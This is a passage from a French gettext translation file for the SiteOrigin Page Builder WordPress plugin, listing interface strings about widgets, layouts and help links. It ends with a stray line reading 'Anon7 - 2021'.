msgstr "Témoignage (PB)"

#: widgets/widgets/testimonial/testimonial.php:19
msgid "Location"
msgstr "La location"

#: widgets/widgets/testimonial/testimonial.php:23
msgid "Image"
msgstr "Image"

#: widgets/widgets/testimonial/testimonial.php:32
msgid "URL"
msgstr "URL"

#: siteorigin-panels.php:1254
msgid "The widget 1{%1$s} is not available. Please try locate and install the missing plugin. Post on the 2{support forums} if you need help."
msgstr "Le widget 1{%1$s} n'est pas disponible. S.V.P. essayer de trouver et installer le plugin manquant. Publier sur les deux 2{forums de support} si vous avez besoin d'aide."

#: tpl/js-templates.php:64
msgid "Add a 1{widget}, 2{row} or 3{prebuilt layout} to get started. Read our 4{documentation} if you need help."
msgstr "Ajouter un 1{widget} de, 2{rangée} ou 3{layout prédéfini} pour commencer. Lisez notre 4{documentation} si vous avez besoin d'aide."

#: widgets/basic.php:15
msgid "A complete SiteOrigin Page Builder layout as a widget."
msgstr "Une mise en page SiteOrigin Builder complète sous forme de widget."

#: widgets/widgets/testimonial/testimonial.php:8
msgid "Displays a bullet list of points"
msgstr "Affiche une liste à puces de points"

#: inc/widgets.php:118
msgid "Enable more widgets in the 1{Widgets Bundle settings}."
msgstr "Activer plus de widgets dans les 1{paramètres Widgets Bundle}."

#: inc/widgets.php:127
msgid "Install the 1{Widgets Bundle} to get extra widgets."
msgstr "Installez le 1{Widgets Bundle} pour obtenir des widgets supplémentaires."

#: inc/widgets.php:140
msgid "You can enable the legacy (PB) widgets in the 1{Page Builder settings}."
msgstr "Vous pouvez activer les widgets hérités(PB) dans les paramètres 1{Page Builder}."

#: siteorigin-panels.php:1231
msgid "You need to install 1{%1$s} to use the widget 2{%2$s}."
msgstr "Vous devez installer 1{%1$s} pour utiliser le widget 2{%2$s}."

#: settings/tpl/help.php:6
msgid "Please read the 1{settings guide} of the Page Builder documentation for help."
msgstr "S.V.P lire le 1{guide des réglages } de la documentation Page Builder pour obtenir de l'aide."

#: tpl/admin-home-page.php:29
msgid "Home page updated. 1{View page}."
msgstr "Page d'accueil mise à jour. 1{Voir la page} ."

#: widgets/basic.php:469 widgets/widgets.php:629
msgid "Additional query arguments. See 1{query_posts}."
msgstr "Arguments de requête supplémentaires. Voir 1{query_posts}."

#: tpl/help.php:18
msgid "Read the 1{full documentation} on SiteOrigin. Ask a question on our 2{support forum} if you need help and sign up to 3{our newsletter} to stay up to date with future developments."
msgstr "Lire le 1{documentation complète} sur SiteOrigin. Poser une question sur notre 2{forum de support} si vous avez besoin d'aide et inscrivez-vous à 3{notre newsletter} pour demeurer à jour avec les développements futurs."

#: tpl/js-templates.php:302
msgid "1{Set row layout}: %1$s columns with a ratio of %2$s going from %3$s"
msgstr "1{Définir la disposition de ligne}: %1$s colonnes avec un ratio de %2$s passant de %3$s"

Anon7 - 2021